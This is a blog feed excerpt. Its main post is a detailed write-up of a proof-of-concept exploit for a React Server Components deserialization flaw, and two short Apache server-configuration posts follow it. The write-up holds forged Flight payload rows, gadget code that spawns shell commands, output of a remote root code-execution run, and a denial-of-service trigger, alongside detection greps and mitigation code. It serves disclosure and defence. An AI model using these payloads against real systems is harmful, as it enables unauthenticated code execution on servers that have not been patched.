   </span><span class="nl">"value"</span><span class="p">:[</span><span class="s2">"node:vm"</span><span class="p">,[],</span><span class="s2">"runInThisContext"</span><span class="p">],</span><span class="nl">"_debugChunk"</span><span class="p">:</span><span class="kc">null</span><span class="p">}}</span><span class="w">
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">["moduleId", chunkIds, "exportName"]</code> is the shape <code class="language-plaintext highlighter-rouge">requireModule()</code> expects.
One arbitrary <code class="language-plaintext highlighter-rouge">__webpack_require__(id)</code>, one arbitrary export read. Row <code class="language-plaintext highlighter-rouge">a</code> is
now a reference to <code class="language-plaintext highlighter-rouge">vm.runInThisContext</code>.</p>

<p><strong>Row <code class="language-plaintext highlighter-rouge">b</code> — a fake <code class="language-plaintext highlighter-rouge">resolved_model</code> chunk.</strong> This is the hunk from the diff. In
19.2.8:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">resolvedModel</span> <span class="o">=</span> <span class="nx">chunk</span><span class="p">.</span><span class="nx">value</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">response</span> <span class="o">=</span> <span class="nx">chunk</span><span class="p">.</span><span class="nx">reason</span><span class="p">;</span>                       <span class="c1">// attacker-controlled object</span>
<span class="kd">const</span> <span class="nx">value</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">resolvedModel</span><span class="p">,</span> <span class="nx">response</span><span class="p">.</span><span class="nx">_fromJSON</span><span class="p">);</span>
</code></pre></div></div>

<p>The forged chunk supplies <strong>both</strong> the reviver and the document it is applied
to. So point <code class="language-plaintext highlighter-rouge">_fromJSON</code> at row <code class="language-plaintext highlighter-rouge">a</code>, and put the payload in a JSON <strong>key</strong> —
because <code class="language-plaintext highlighter-rouge">JSON.parse</code> invokes a reviver as <code class="language-plaintext highlighter-rouge">reviver(key, value, context)</code>, and
the key lands in the gadget’s first parameter:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">b:</span><span class="p">{</span><span class="nl">"$$typeof"</span><span class="p">:</span><span class="s2">"$Sreact.lazy"</span><span class="p">,</span><span class="nl">"_payload"</span><span class="p">:{</span><span class="nl">"status"</span><span class="p">:</span><span class="s2">"resolved_model"</span><span class="p">,</span><span class="w">
   </span><span class="nl">"value"</span><span class="p">:</span><span class="s2">"{</span><span class="se">\"</span><span class="s2">&lt;attacker source&gt;</span><span class="se">\"</span><span class="s2">:{}}"</span><span class="p">,</span><span class="nl">"reason"</span><span class="p">:{</span><span class="nl">"_fromJSON"</span><span class="p">:</span><span class="s2">"$a"</span><span class="p">},</span><span class="nl">"_debugChunk"</span><span class="p">:</span><span class="kc">null</span><span class="p">}}</span><span class="w">
</span><span class="mi">3</span><span class="err">:</span><span class="s2">"$b"</span><span class="w">
</span></code></pre></div></div>

<p>Deserializing the response now calls <code class="language-plaintext highlighter-rouge">vm.runInThisContext("&lt;attacker source&gt;", {})</code>
in the consumer’s own realm.</p>

<p>Small practical note on the payload itself: it runs in the global context, where
there is no module-local <code class="language-plaintext highlighter-rouge">require</code>. <code class="language-plaintext highlighter-rouge">process</code> is a global though, and
<code class="language-plaintext highlighter-rouge">process.getBuiltinModule</code> hands out core modules from anywhere:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">fs</span> <span class="o">=</span> <span class="nx">process</span><span class="p">.</span><span class="nx">getBuiltinModule</span><span class="p">(</span><span class="dl">'</span><span class="s1">node:fs</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">cp</span> <span class="o">=</span> <span class="nx">process</span><span class="p">.</span><span class="nx">getBuiltinModule</span><span class="p">(</span><span class="dl">'</span><span class="s1">node:child_process</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">fs</span><span class="p">.</span><span class="nx">writeFileSync</span><span class="p">(</span><span class="nx">markerPath</span><span class="p">,</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">({</span> <span class="cm">/* ... */</span>
  <span class="na">user</span><span class="p">:</span> <span class="nx">os</span><span class="p">.</span><span class="nx">userInfo</span><span class="p">().</span><span class="nx">username</span><span class="p">,</span>
  <span class="na">shellOutput</span><span class="p">:</span> <span class="nx">cp</span><span class="p">.</span><span class="nx">execSync</span><span class="p">(</span><span class="dl">'</span><span class="s1">id</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span><span class="na">encoding</span><span class="p">:</span> <span class="dl">'</span><span class="s1">utf8</span><span class="dl">'</span><span class="p">}).</span><span class="nx">trim</span><span class="p">()</span>
<span class="p">}));</span>
</code></pre></div></div>

<p>Writing a marker file <em>plus</em> the output of a spawned command is deliberate. A
PoC that prints “pwned” proves nothing to a skeptical maintainer. Evidence that
only the target process could have produced is much harder to argue with:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>4. Consume it with the vulnerable client (19.2.8)
  client version  19.2.8 (development)
  root keys       ["attachmentA","attachmentB"]
  userNote        undefined
  CODE EXECUTED   true
  evidence written by the payload:
    {
      "proof": "arbitrary code executed inside the RSC consumer",
      "pid": 19325,
      "execPath": "/opt/homebrew/Cellar/node/26.11.1/bin/node",
      "cwd": "/Users/rudra/development/poc/GHSA-xqc2-xf4c-x3h3",
      "user": "rudra",
      "host": "Rudras-Mac-mini.local",
      "shellOutput": "uid=501(rudra) gid=20(staff) groups=20(staff),12(everyone),...",
      "at": "2026-11-10T00:21:03.826Z"
    }
</code></pre></div></div>

<p>Note <code class="language-plaintext highlighter-rouge">userNote: undefined</code> and <code class="language-plaintext highlighter-rouge">root keys</code> missing <code class="language-plaintext highlighter-rouge">userNote</code> entirely. The
application never used the attacker’s string. The code ran during
deserialization anyway.</p>

<h2 id="step-7---prove-the-fix-works-and-be-honest-about-it">Step 7 - prove the fix works, and be honest about it</h2>

<p>Two separate checks, because the patch has two halves.</p>

<p><strong>The patched server, same model, same malicious note:</strong></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>5. Render the same model with the patched server (19.2.9)
  wire: 9926 bytes | views after render: 3000/3000 bytes, backing detached: false
  @ 3027 2:obb8,      declared=3000    got=3000   &lt;3000xB&gt;
  @ 6034 3:Tef3,      declared=3827    got=3827   &lt;2993x.&gt;a:{"$$typeof":"$Sreact.lazy",...
  =&gt; both bodies are present
</code></pre></div></div>

<p>Both bodies present, nothing detached, and — the detail I like most — the
attacker’s rows are still there, sitting harmlessly <strong>inside</strong> row 3’s body
where they belong. The containment is back.</p>

<p><strong>The patched client, fed the byte-identical malicious wire that just worked:</strong></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>6. Feed the byte-identical malicious payload to the patched client (19.2.9)
  client version  19.2.9 (development)
  root keys       ["attachmentA","attachmentB","userNote"]
  userNote        object{$$typeof,_payload}
  CODE EXECUTED   false
</code></pre></div></div>

<p>Now the honest part. I wrote a separate script that tests each client-side
primitive in isolation against both versions, because “it’s fixed” and “that
technique no longer works” are not the same claim:</p>

<table>
  <thead>
    <tr>
      <th>primitive</th>
      <th>19.2.8</th>
      <th>19.2.9</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>property-path walk reaches the <code class="language-plaintext highlighter-rouge">Function</code> constructor</td>
      <td>works</td>
      <td>works</td>
    </tr>
    <tr>
      <td>forged <code class="language-plaintext highlighter-rouge">react.lazy</code> node accepted as an internal chunk</td>
      <td>works</td>
      <td>works</td>
    </tr>
    <tr>
      <td>forged <code class="language-plaintext highlighter-rouge">resolved_module</code> chunk bypasses the consumer manifest</td>
      <td>works</td>
      <td><strong>works</strong></td>
    </tr>
    <tr>
      <td>forged <code class="language-plaintext highlighter-rouge">resolved_model</code> chunk supplies its own <code class="language-plaintext highlighter-rouge">Response</code></td>
      <td>works</td>
      <td>blocked</td>
    </tr>
    <tr>
      <td>a function parked on a <code class="language-plaintext highlighter-rouge">then</code> key</td>
      <td>works</td>
      <td>blocked</td>
    </tr>
  </tbody>
</table>

<p>The lazy-node confusion and the resulting <code class="language-plaintext highlighter-rouge">requireModule(&lt;attacker metadata&gt;)</code>
manifest bypass <strong>still stand in 19.2.9</strong>. They are simply no longer reachable,
because the transport bug that let an attacker inject rows is gone. Anyone who
finds another route to Flight row injection gets an arbitrary
<code class="language-plaintext highlighter-rouge">__webpack_require__</code> back.</p>

<p>Put that in the write-up. A PoC that overstates the fix is as unhelpful as one
that overstates the bug.</p>

<h2 id="step-8---then-prove-it-over-http">Step 8 - then prove it over HTTP</h2>

<p>Everything above runs in one process with files on disk. That is enough to prove
a mechanism and nowhere near enough for a report. The question a defender asks
is “can someone on the internet do this to my service”, so the lab has to answer
that question literally.</p>

<p>Two complete stacks of the same app, differing only in the package version:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>               ┌─────────────────────────┐      ┌──────────────────────────┐
attacker ─────▶│ web-vulnerable  :3000   │─────▶│ rsc-vulnerable (internal)│
(HTTP only)    │ SSR consumer, 19.2.8    │      │ renderer, 19.2.8         │
               │ createFromReadableStream│      │ --conditions=react-server│
               └─────────────────────────┘      └──────────────────────────┘
               ┌─────────────────────────┐      ┌──────────────────────────┐
               │ web-patched     :4000   │─────▶│ rsc-patched    (internal)│
               │ SSR consumer, 19.2.9    │      │ renderer, 19.2.9         │
               └─────────────────────────┘      └──────────────────────────┘
</code></pre></div></div>

<p>One Dockerfile with a <code class="language-plaintext highlighter-rouge">REACT_VERSION</code> build arg, so the <em>identical</em> application
runs vulnerable or patched with nothing else changed. The app is an ordinary
attachment viewer: thumbnails by default, full-resolution attachments on
<code class="language-plaintext highlighter-rouge">?full=1</code>, both carved out of one decode buffer. It serves its RSC payload at
<code class="language-plaintext highlighter-rouge">/rsc</code> the way a real RSC app serves it to browsers.</p>

<p>The exploit script never imports React and never touches the target’s
filesystem. It speaks HTTP only, in four steps:</p>

<ol>
  <li><strong>measure</strong> — <code class="language-plaintext highlighter-rouge">POST /rsc?full=1</code> with a filler note, then read the framing
off the response: which binary row was dropped, how many bytes it declared,
and which chunk id carries the note;</li>
  <li><strong>craft</strong> — pad the note so the client resyncs exactly on the injected rows;</li>
  <li><strong>fire</strong> — one <code class="language-plaintext highlighter-rouge">POST /?full=1</code> with that note as the body;</li>
  <li><strong>verify</strong> — read back the evidence the payload left, through a directory
bind-mounted out of the container, so the application needs no special
endpoint for the PoC to check itself.</li>
</ol>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  [0] GET /            -&gt; 200 (thumbnails, 1024 bytes each)
      GET /?full=1     -&gt; 500 (full attachments, 3000 bytes each)
  [1] measured 9080 bytes of RSC payload from http://localhost:3000/rsc?full=1
  @    0 1:obb8,      declared=3000    got=3000   &lt;3000xA&gt;
  @ 3007 2:obb8,      declared=3000    got=3000   3:T1770,&lt;2992xN&gt;
  @ 6014 -20:         newline          got=55     {"attachmentA":"$1",…}
  [2] crafted a 3773-character note: 2993 bytes of padding, then 3 injected rows
  [3] POST http://localhost:3000/?full=1  -&gt;  200 OK, 239 bytes of text/html
  [4] CODE EXECUTED inside the web container:
        { "pid": 6, "cwd": "/srv", "user": "root", "host": "89790dda6ed2",
          "shellOutput": "uid=0(root) gid=0(root) groups=0(root),1(bin),…" }
</code></pre></div></div>

<p>Two things to point at in that output. The exploit request returns <strong><code class="language-plaintext highlighter-rouge">200 OK</code>
with a normal HTML page</strong> — nothing in the response distinguishes it from any
other visit. And step <code class="language-plaintext highlighter-rouge">[0]</code> is the availability half of the same bug: on 19.2.8
the full-resolution route is already broken for everyone, with no attacker input
at all.</p>

<p>Against <code class="language-plaintext highlighter-rouge">:4000</code> the same script reports:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  @ 3007 2:obb8,      declared=3000    got=3000   &lt;3000xB&gt;
  =&gt; every binary row carries its own bytes. The wire is sound, so there is
     no resync point to aim at and nothing to inject into.
</code></pre></div></div>

<h3 id="ship-an-inert-mode">Ship an inert mode</h3>

<p>If you hand a PoC to anyone else, give them a way to run it that proves the
finding without running code. Mine is <code class="language-plaintext highlighter-rouge">--check</code>: it measures the framing, then
injects a single row that does nothing but refill the note’s chunk id with a
random token. If that token comes back as the rendered note, the attacker’s
bytes were parsed as Flight rows — which <em>is</em> the finding:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>node poc/remote.mjs <span class="nt">--url</span> http://localhost:3000 <span class="nt">--check</span>
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  [2] crafted a 3055-character note: 2993 bytes of padding, then 1 injected Flight row (inert probe)
  [3] POST http://localhost:3000/?full=1  -&gt;  200 OK
      the token came back as the rendered note: row injection CONFIRMED

  =&gt; this target is exploitable. No code was compiled or run on it.
</code></pre></div></div>

<p>Point that at any host you own or are authorised to test. Just keep in mind it
is the <em>method</em>, not a turnkey scanner: the route, the parameter and the chunk
ids will all be different on a real framework.</p>

<p>Also: make exit status mean something. <code class="language-plaintext highlighter-rouge">0</code> when the expected result was
observed, <code class="language-plaintext highlighter-rouge">1</code> otherwise. That is what makes a PoC usable in CI by the team that
has to prove their upgrade worked.</p>

<h2 id="the-free-dos">The free DoS</h2>

<p>The code-execution chain needs the shared buffer to be <em>detachable</em>. Node’s
<code class="language-plaintext highlighter-rouge">Buffer</code> pool slab is not, and 19.2.8 hands the raw view over anyway, so the
write throws and the whole render is lost:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  Buffer.poolSize    65536 (pooled while &lt;= 32768 bytes)
  19.2.8   shared=true  RENDER FAILED - 0 bytes delivered
           ArrayBuffer is not detachable and could not be cloned.
  19.2.9   shared=true  rendered 6107 bytes
</code></pre></div></div>

<p>No attacker-controlled value involved at all. Every allocation below
<code class="language-plaintext highlighter-rouge">Buffer.poolSize &gt;&gt;&gt; 1</code> — <strong>every <code class="language-plaintext highlighter-rouge">Buffer</code> up to 32 KiB</strong> on current Node —
comes out of one shared 64 KiB slab. So <em>any</em> response transporting two ordinary
Buffers over 2048 bytes is affected. Two <code class="language-plaintext highlighter-rouge">fs.readFile()</code> results converted for
transport is enough.</p>

<p>This is the easier bug by a mile, and on an affected app it is probably already
filed as “that page 500s with big attachments”.</p>

<h2 id="make-it-useful-to-whoever-has-to-fix-it">Make it useful to whoever has to fix it</h2>

<p>A PoC that only exploits is half a deliverable. The other half is: <em>am I
affected?</em> Two separate questions there, and you need both.</p>

<p><strong>Is a vulnerable runtime installed?</strong> Do <strong>not</strong> rely on
<code class="language-plaintext highlighter-rouge">npm ls react-server-dom-webpack</code>. On a Next.js app it happily prints <code class="language-plaintext highlighter-rouge">(empty)</code>
while the vulnerable code is still right there: Next.js precompiles React into
<code class="language-plaintext highlighter-rouge">next/dist/compiled/</code>, where a current release ships <strong>four</strong> vendored copies
plus the Flight runtime inlined into its <code class="language-plaintext highlighter-rouge">next-server/*.runtime.*.js</code> bundles. A
version check misses every one of them.</p>

<p>So key on <strong>code signatures, not version numbers</strong>:</p>

<table>
  <thead>
    <tr>
      <th>half</th>
      <th>signature</th>
      <th>why that one</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>server</td>
      <td>the <code class="language-plaintext highlighter-rouge">'detached'</code> property-name string</td>
      <td><code class="language-plaintext highlighter-rouge">hasOwnProperty.call(ArrayBuffer.prototype, 'detached')</code> — the root-cause fix</td>
    </tr>
    <tr>
      <td>client</td>
      <td>the <code class="language-plaintext highlighter-rouge">'then'</code> string literal</td>
      <td>the <code class="language-plaintext highlighter-rouge">key === 'then'</code> guards shipped with the fix</td>
    </tr>
  </tbody>
</table>

<p>Both are <em>string literals</em>, chosen because they survive a framework
re-bundling React. Identifier names do not — Next.js’s minifier renames
<code class="language-plaintext highlighter-rouge">RESPONSE_SYMBOL</code> — and neither do error messages, since Next.js keeps the
detach check but strips the <code class="language-plaintext highlighter-rouge">"Cannot transport a detached buffer"</code> text.</p>

<p>You can do the whole check with grep:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">grep</span> <span class="nt">-rcE</span> <span class="s2">"[</span><span class="se">\"</span><span class="s2">']detached[</span><span class="se">\"</span><span class="s2">']"</span> <span class="nb">env</span>/<span class="k">*</span>/node_modules/react-server-dom-webpack/cjs/<span class="k">*</span>server.node.development.js
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>env/vulnerable/.../react-server-dom-webpack-server.node.development.js:0
env/patched/.../react-server-dom-webpack-server.node.development.js:1
</code></pre></div></div>

<p>Zero means vulnerable. And if a framework vendors React, <strong>upgrade the
framework</strong> — bumping <code class="language-plaintext highlighter-rouge">react</code> alone does not replace its precompiled copy.</p>

<p><strong>Does a response actually desynchronise?</strong> A vulnerable runtime is necessary
but not sufficient; the app also has to transport two typed arrays over one
ArrayBuffer with at least one over 2048 bytes. That is checkable read-only, from
the framing alone, without knowing what the server meant to send: a declared
length that runs past the end of the stream, a row body that starts with what is
plainly the next row’s header, or trailing rows with impossible chunk ids.</p>

<p>One nuance that surprised me: following links finds almost nothing. When the
page body is a client component — which it usually is — navigation is built in
the browser, so it appears in <strong>neither</strong> the RSC payload nor the static HTML.
On one production Next.js site a link crawl found 2 routes on an app with
hundreds. Seed from the route list the app publishes itself instead:
<code class="language-plaintext highlighter-rouge">robots.txt</code> → <code class="language-plaintext highlighter-rouge">Sitemap:</code> → <code class="language-plaintext highlighter-rouge">/sitemap.xml</code>.</p>

<p>And the cheapest signals of all, with no tooling:</p>

<ul>
  <li><strong>Does any route return 5xx only when its binary content is large?</strong> That is
the giveaway, and on an affected app it is often already a bug report.</li>
  <li><strong>Grep your own code for typed arrays crossing the RSC boundary at all.</strong> No
typed array in any response means no exposure, whatever version you run.</li>
  <li><strong>Then ask whether an attacker-influenced string of 1024+ characters rides in
the same response.</strong> Without one there is no injection, only the availability
problem.</li>
</ul>

<p>If upgrading has to wait, copy before transporting so every typed array owns its
buffer:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// instead of handing React a view into a shared buffer</span>
<span class="k">return</span> <span class="p">{</span><span class="na">blob</span><span class="p">:</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">(</span><span class="nx">buf</span><span class="p">.</span><span class="nx">buffer</span><span class="p">,</span> <span class="nx">buf</span><span class="p">.</span><span class="nx">byteOffset</span><span class="p">,</span> <span class="nx">buf</span><span class="p">.</span><span class="nx">byteLength</span><span class="p">)};</span>
<span class="c1">// give it one that spans its own</span>
<span class="k">return</span> <span class="p">{</span><span class="na">blob</span><span class="p">:</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">(</span><span class="nx">buf</span><span class="p">.</span><span class="nx">buffer</span><span class="p">,</span> <span class="nx">buf</span><span class="p">.</span><span class="nx">byteOffset</span><span class="p">,</span> <span class="nx">buf</span><span class="p">.</span><span class="nx">byteLength</span><span class="p">).</span><span class="nx">slice</span><span class="p">()};</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">.slice()</code> is exactly what the patched React does for you.</p>

<h2 id="what-id-tell-anyone-building-their-first-poc">What I’d tell anyone building their first PoC</h2>

<ol>
  <li><strong>Build the control first.</strong> “Here is the benign case working, here is the one
change, here is it breaking” is the entire argument. Without it you are
claiming a crash.</li>
  <li><strong>Change one variable at a time.</strong> Three sharing modes behind one flag, two
versions behind one path. Every run differs from the last in exactly one way.</li>
  <li><strong>Write the parser before the exploit.</strong> You cannot debug bytes you cannot
read, and you will be reading them for hours.</li>
  <li><strong>Dump every intermediate to disk.</strong> Numbered files — <code class="language-plaintext highlighter-rouge">01-control.rsc</code>,
<code class="language-plaintext highlighter-rouge">02-probe.rsc</code>, <code class="language-plaintext highlighter-rouge">03-note.txt</code>, <code class="language-plaintext highlighter-rouge">04-exploit.rsc</code>. When step 6 misbehaves you
want to <code class="language-plaintext highlighter-rouge">xxd</code> step 2 again, not re-run everything.</li>
  <li><strong>Grep the patch for new error strings.</strong> Maintainers describe the bug in the
message they add to prevent it. This one even shipped the typo.</li>
  <li><strong>Ask what a new <code class="language-plaintext highlighter-rouge">Symbol</code> was hiding.</strong> Patches that move data behind a
private key are telling you two things used to be confusable.</li>
  <li><strong>Make the result machine-checkable.</strong> Meaningful exit codes, and an inert
mode that proves the finding without executing anything.</li>
  <li><strong>Say what the fix does not fix.</strong> It is more useful than overstating it, and
it is the part other researchers will pick up.</li>
  <li><strong>Keep it scoped.</strong> Mine targets only the two versions it installs locally,
writes only inside <code class="language-plaintext highlighter-rouge">artifacts/</code>, and has no network or persistence behaviour
of its own. Run things like this against systems you own or are authorised to
test.</li>
</ol>

<h3 id="repo-layout-for-reference">Repo layout, for reference</h3>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>env/vulnerable/        isolated node_modules @ 19.2.8  + load-server/load-client
env/patched/           isolated node_modules @ 19.2.9  + load-server/load-client
src/app.mjs            the "vulnerable application" and its three sharing modes
src/wire.mjs           the Flight row reader - replays how the client parses
src/payload.mjs        payload construction, gadget selection, byte alignment
poc/render.mjs         server half  - runs under `node --conditions=react-server`
poc/consume.mjs        client half  - runs under the default conditions
poc/run.mjs            driver for the full matrix
poc/primitives.mjs     each client-side primitive in isolation, both versions
poc/dos.mjs            the pooled-Buffer denial of service
poc/detect.mjs         triage: scan runtimes, check a response, crawl an origin
poc/remote.mjs         the remote exploit - HTTP only, no React, no target files
app/web-server.mjs     containerised SSR consumer - the process that gets owned
docker/Dockerfile      one image, REACT_VERSION picks 19.2.8 or 19.2.9
compose.yaml           both stacks, :3000 vulnerable / :4000 patched
</code></pre></div></div>

<p>Advisory: <a href="https://github.com/advisories/GHSA-xqc2-xf4c-x3h3">GHSA-xqc2-xf4c-x3h3</a>.
Patched in <code class="language-plaintext highlighter-rouge">19.0.9</code>, <code class="language-plaintext highlighter-rouge">19.1.10</code>, <code class="language-plaintext highlighter-rouge">19.2.9</code>, <code class="language-plaintext highlighter-rouge">19.3.1</code> — and if your framework
vendors React, upgrade the framework.</p>]]></content><author><name>Rudra Sarkar</name></author><category term="poc" /><category term="rce" /><summary type="html"><![CDATA[How I built a working proof of concept for GHSA-xqc2-xf4c-x3h3 starting from nothing but the patch - two React versions side by side, a Flight wire reader, a bit of byte arithmetic, and unauthenticated code execution over HTTP.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://rudra0x01.xyz/assets/img/og-default.png" /><media:content medium="image" url="https://rudra0x01.xyz/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Adding fail2ban on Ubuntu machine with Apache2</title><link href="https://rudra0x01.xyz/adding-fail2ban-on-ubuntu-machine-with-apache2/" rel="alternate" type="text/html" title="Adding fail2ban on Ubuntu machine with Apache2" /><published>2024-10-23T20:21:00+06:00</published><updated>2024-10-23T20:21:00+06:00</updated><id>https://rudra0x01.xyz/adding-fail2ban-on-ubuntu-machine-with-apache2</id><content type="html" xml:base="https://rudra0x01.xyz/adding-fail2ban-on-ubuntu-machine-with-apache2/"><![CDATA[<h4 id="install-fail2ban">Install Fail2Ban</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo apt update
sudo apt install fail2ban -y
</code></pre></div></div>

<h4 id="create-apache-jail-configuration">Create Apache Jail Configuration</h4>

<p>Create a new file <code class="language-plaintext highlighter-rouge">jail.local</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo nano /etc/fail2ban/jail.local
</code></pre></div></div>

<p>Add the following configuration to monitor excessive requests in the Apache access log:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[apache-overload]
enabled  = true
port     = http,https
filter   = apache-overload
logpath  = /var/log/apache2/access.log
findtime = 60
maxretry = 1000
bantime  = 43200 // for 12 hours ban
</code></pre></div></div>

<ul>
  <li><strong>enabled</strong>: Enables this specific jail.</li>
  <li><strong>port</strong>: The ports used by Apache (HTTP, HTTPS).</li>
  <li><strong>filter</strong>: The name of the filter (you’ll create this in the next step).</li>
  <li><strong>logpath</strong>: The location of your Apache access logs.</li>
  <li><strong>findtime</strong>: The time window (in seconds) in which the number of requests (maxretry) is counted (here it’s 60 seconds).</li>
  <li><strong>maxretry</strong>: The number of requests allowed before banning the IP (1000 requests in 60 seconds in this case).</li>
  <li><strong>bantime</strong>: The duration (in seconds) the IP is banned for (43200 seconds = 12 Hours).</li>
</ul>

<h4 id="create-the-apache-overload-filter">Create the Apache Overload Filter</h4>

<p>Now, you need to create the filter definition for this jail. Create a new filter file for apache-overload.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo nano /etc/fail2ban/filter.d/apache-overload.conf
</code></pre></div></div>

<p>Add the following configuration, which matches all requests in the Apache access log:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Definition]
failregex = ^&lt;HOST&gt; -.*"(GET|POST|HEAD).*"$
ignoreregex =
</code></pre></div></div>

<ul>
  <li><strong>failregex</strong>: Matches any GET, POST, or HEAD request from any client. <HOST> is replaced with the client's IP address by Fail2Ban.</HOST></li>
  <li><strong>ignoreregex</strong>: No lines are ignored in this configuration.</li>
</ul>

<h4 id="restart-apache-and-fail2ban">Restart Apache and Fail2Ban</h4>
<p>After configuring, restart both Apache and Fail2Ban for changes
sudo systemctl restart apache2
sudo systemctl restart fail2ban</p>

<h4 id="monitor-fail2ban">Monitor Fail2Ban</h4>

<p>To check the status of the jail:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo fail2ban-client status apache-overload
</code></pre></div></div>

<p>To see banned IPs:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo fail2ban-client status
</code></pre></div></div>

<p>To see in more details for specific item eg: <strong>sshd</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo fail2ban-client status sshd
</code></pre></div></div>]]></content><author><name>Rudra Sarkar</name></author><category term="aws" /><category term="ubuntu" /><category term="devops" /><summary type="html"><![CDATA[Install Fail2Ban]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://rudra0x01.xyz/assets/img/og-default.png" /><media:content medium="image" url="https://rudra0x01.xyz/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Flutter Web Apache2 404 Issue when user refresh the page</title><link href="https://rudra0x01.xyz/flutter-web-apache2-404-issue-when-user-refresh-the-page/" rel="alternate" type="text/html" title="Flutter Web Apache2 404 Issue when user refresh the page" /><published>2024-10-23T14:04:00+06:00</published><updated>2024-10-23T14:04:00+06:00</updated><id>https://rudra0x01.xyz/flutter-web-apache2-404-issue-when-user-refresh-the-page</id><content type="html" xml:base="https://rudra0x01.xyz/flutter-web-apache2-404-issue-when-user-refresh-the-page/"><![CDATA[<p>Copy the entire /build/web into /var/www/html or anywhere you like</p>

<h4 id="configure-apache">Configure Apache</h4>
<p>Enable rewrite for apache2 server</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo a2enmod rewrite
</code></pre></div></div>

<p>Then restart Apache:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo systemctl restart apache2
</code></pre></div></div>

<h4 id="create-a-htaccess-for-flutter-app">Create a .htaccess for flutter app</h4>
<p>Create .htaccess inside /var/www/html and save it</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;IfModule mod_rewrite.c&gt;
  RewriteEngine On

  # If the requested file exists, serve it
  RewriteCond %{REQUEST_FILENAME} !-f
  RewriteCond %{REQUEST_FILENAME} !-d

  # Otherwise, serve the index.html file
  RewriteRule ^ index.html [L]
&lt;/IfModule&gt;
</code></pre></div></div>

<p><strong>OR</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;IfModule mod_rewrite.c&gt;
  RewriteEngine On

  # Redirect www to non-www (optional)
  RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC]
  RewriteRule ^ https://%1%{REQUEST_URI} [L,R=301]

  # Serve files if they exist
  RewriteCond %{REQUEST_FILENAME} -f [OR]
  RewriteCond %{REQUEST_FILENAME} -d
  RewriteRule ^ - [L]

  # Redirect all other requests to index.html
  RewriteRule ^ /index.html [L]
&lt;/IfModule&gt;
</code></pre></div></div>

<h4 id="configure-the-apache-config-file">Configure the Apache config file</h4>
<p>I am using <code class="language-plaintext highlighter-rouge">/etc/apache2/sites-available/default-ssl.conf</code> and the <code class="language-plaintext highlighter-rouge">&lt;Directory&gt;</code> along with the current configuration.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;VirtualHost *:443&gt;

    DocumentRoot /var/www/html

    &lt;Directory /var/www/html&gt;
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
    &lt;/Directory&gt;
&lt;/VirtualHost&gt;
</code></pre></div></div>

<p>Once done run <code class="language-plaintext highlighter-rouge">sudo apachectl configtest</code> if it returns <code class="language-plaintext highlighter-rouge">Syntax OK</code> then your configuration is all alright, now move forward and restart the server <code class="language-plaintext highlighter-rouge">sudo service apache2 restart</code>.</p>

